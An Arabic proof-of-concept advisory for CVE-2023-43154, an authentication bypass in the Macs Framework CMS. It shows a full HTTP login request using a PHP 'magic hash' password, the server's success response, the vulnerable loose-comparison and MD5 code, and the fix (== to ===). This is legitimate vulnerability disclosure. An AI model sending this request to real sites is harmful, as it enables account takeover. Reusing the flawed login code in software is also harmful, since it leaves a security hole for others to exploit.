
PoC لثغرة الارتباك النوعي في نظام إدارة المحتوى Mac التي تؤدي إلى تجاوز المصادقة والاستيلاء على حساب المسؤول.
معرف CVE: CVE-2023-43154
CVSS 3.1: 9.8
وصف الثغرة: تؤدي المقارنة غير الصارمة في دالة isValidLogin() إلى ثغرة تشويش نوع PHP يمكن استغلالها لتجاوز المصادقة والاستيلاء على حساب المسؤول.
المعلمات الضعيفة: اسم المستخدم وكلمة المرور للمستخدمين على نظام CMS.
المنتجات المتأثرة: Macs Framework v1.14f - نظام إدارة المحتوى
القيود:
تفاعل المستخدم المطلوب: لا شيء
المراجع: https://github.com/ally-petitt/CVE-2023-43154-PoC
تاريخ الاكتشاف: 7 سبتمبر 2023
تم الإبلاغ بواسطة: Ally Petitt
تسجيل الدخول على URI /index.php/main/cms/login باستخدام اسم مستخدم الحساب الضحية وأي كلمة مرور تؤدي إلى تجزئة سحرية سيؤدي إلى تجاوز المصادقة.
يظهر أدناه نموذج تسجيل الدخول.
POST /index.php/main/cms/login HTTP/1.1
Host: 172.17.0.2
Content-Length: 62
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Origin: http://172.17.0.2
Referer: http://172.17.0.2/index.php/main/cms/login
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=di4ceqcv9432vcb0p27rkh7k82
Connection: close
ajaxRequest=true&&username=testadmin&password=0gdVIdSQL8Cm&scrollPosition=0
HTTP/1.1 200 OK
Date: Sat, 09 Sep 2023 02:01:26 GMT
Server: Apache/2.4.25 (Debian)
X-Powered-By: PHP/5.6.40
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 72
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<script>window.location.href="http://172.17.0.2/index.php/home"</script>
رمز الحالة 200 وإعادة التوجيه إلى /index.php/home كلاهما مؤشران على أن محاولة تسجيل الدخول كانت ناجحة. لم تكن كلمة مرور testadmin هي كلمة المرور المستخدمة في محاولة تسجيل الدخول (0gdVIdSQL8Cm). بدلاً من ذلك، تم تعيينها إلى QNKCDZO.
عندما يحاول المستخدم تسجيل الدخول، يتم تجزئة كلمة المرور التي قدمها وإرسالها كمعامل إلى دالة isValidLogin() عبر دالة login() الأولية التي يتم استدعاؤها عند إجراء طلب POST إلى /index.php/Main/CMS/login.
public function login()
{
if($this->isValidLogin(Post::getByKey('username'), $this->encrypt(Post::getByKey('password')) ) || ( $this->isAdminLoggedIn() ))
--snip--
}
تبدأ دالة isValidLogin() في السطر 83 من ملف /Application/plugins/CMS/controllers/CMS.php. وهي عرضة لثغرة تشويش نوع بسبب استخدام علامتي مساواة بدلاً من ثلاث.
private function isValidLogin($username, $password)
{
$this->loadModels();
$loggedIn = false;
foreach (Config::$editInPlaceAdmins as $key=>$account)
{
if(( $account['username'] == $username) && ($account['password'] == $password ) )
{
$loggedIn = true;
Session::set('AdminLoggedIn', $account);
break;
}
}
كما هو موضح في عبارة if، يتم التحقق من اسم المستخدم وكلمة المرور باستخدام مقارنة غير صارمة، مما يؤدي إلى ثغرة تشويش نوع PHP. يمكن استغلال ذلك عند تسجيل الدخول بكلمة مرور تؤدي إلى تجزئة سحرية، أو تجزئة يفسرها PHP على أنها ذات قيمة 0 أثناء المقارنة غير الصارمة. يمكن العثور على قائمة بمثل هذه كلمات المرور هنا.
لاستغلال ذلك، من المهم أولاً فهم التنسيق الذي يتم تخزين $account['password'] به. في الدالة المستخدمة لحفظ حساب مستخدم جديد في السطر 730 من ملف CMS.php المذكور، يصبح من الواضح أن كلمة المرور تمر أولاً عبر دالة encrypt قبل تخزينها.
$password = $this->encrypt(Post::getByKey('password'));
$confirmPassword = $this->encrypt(Post::getByKey('confirmPassword'));
-- snip --
private function saveNewUser( $username, $password, $emailAddress, $roleId)
بالاستمرار إلى الدالة التي يتم استدعاؤها بعد تشغيل كلمة المرور عبر encrypt، يتم استخدام الكود التالي:
private function saveNewUser( $username, $password, $emailAddress, $roleId)
{
--snip--
$this->usersModel->insertUser($username, $password, $emailAddress, $roleId);
--snip--
}
بناءً على الكود أعلاه، يتضح أن كلمة المرور "المشفرة" تم وضعها مباشرة في نموذج users لإطار عمل MVC. أخيرًا، لاستغلال هذه الثغرة، من الضروري فهم كيفية عمل دالة encrypt حيث تتم مقارنة مخرجاتها مباشرة مع إدخال المستخدم.
private function encrypt( $string )
{
return md5($string);
}
ترجع دالة encrypt تجزئة MD5 للسلسلة الممررة إليها. يعني هذا أنه عندما يتم استدعاء دالة login() ببيانات الاعتماد المقدمة من المستخدم، يتم تجزئة كلمة المرور المدخلة ومقارنتها مع تجزئة MD5 المخزنة لحساب الضحية.
المغزى هو أنه عند استخدام كلمة مرور تؤدي إلى تصادم PHP، أو تجزئة سحرية، فإنها ستسجل كمكافئة عند مقارنتها بكلمة مرور مخزنة تتبع أيضًا تنسيق التجزئة السحرية. نتيجة لذلك، يمكن استخدام عدد كبير جدًا من كلمات المرور للمصادقة على حساب المسؤول والاستيلاء عليه، حتى عندما لا تكون كلمة المرور الأولية معروفة مسبقًا.
يمكن التخفيف من هذه الثغرة عن طريق تغيير المقارنة غير الصارمة في دالة isValidLogin() إلى مقارنة صارمة عن طريق استبدال == بـ ===.